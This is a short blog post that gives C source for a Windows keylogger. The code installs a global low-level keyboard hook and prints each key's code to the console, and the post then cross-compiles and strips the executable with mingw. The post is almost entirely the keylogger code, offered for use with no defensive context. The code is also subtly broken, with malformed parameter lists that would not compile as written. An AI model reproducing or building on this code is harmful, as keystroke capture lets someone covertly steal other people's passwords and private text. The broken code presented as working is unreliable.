[CODE] Writing a simple keylogger for Windows

April 27, 2019

The basic idea is;

#include <windows.h>
#include <stdio.h>

HHOOK hook;

LRESULT __stdcall
LLKBCallback(int nCode, WPARAM wParam lParam) {
    KBDLLHOOKSTRUCT kbdStruct;

    if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
        kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
        printf("keycode: 0x%x\n", kbdStruct.vkCode);
    }
   
    return CallNextHookEx(hook, nCode, wParam, lParam);
}

int main(argc, char **argv) {
    MSG msg;
    ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1);
    hook = SetWindowsHookEx(WH_KEYBOARD_LL, LLKBCallback, NULL, 0);
   
    if (!hook)
        MessageBox(NULL, "failed to install hook", "error", MB_ICONERROR);

    while (GetMessage(&msg, NULL, 0, 0));
}

Then cross-compile for windows

x86_64-w64-mingw32-gcc  -o keylog.exe keylog.c -static
x86_64-w64-mingw32-strip keylog.exe

That's it.

Artikel Terkait

Latest
Previous
Next Post »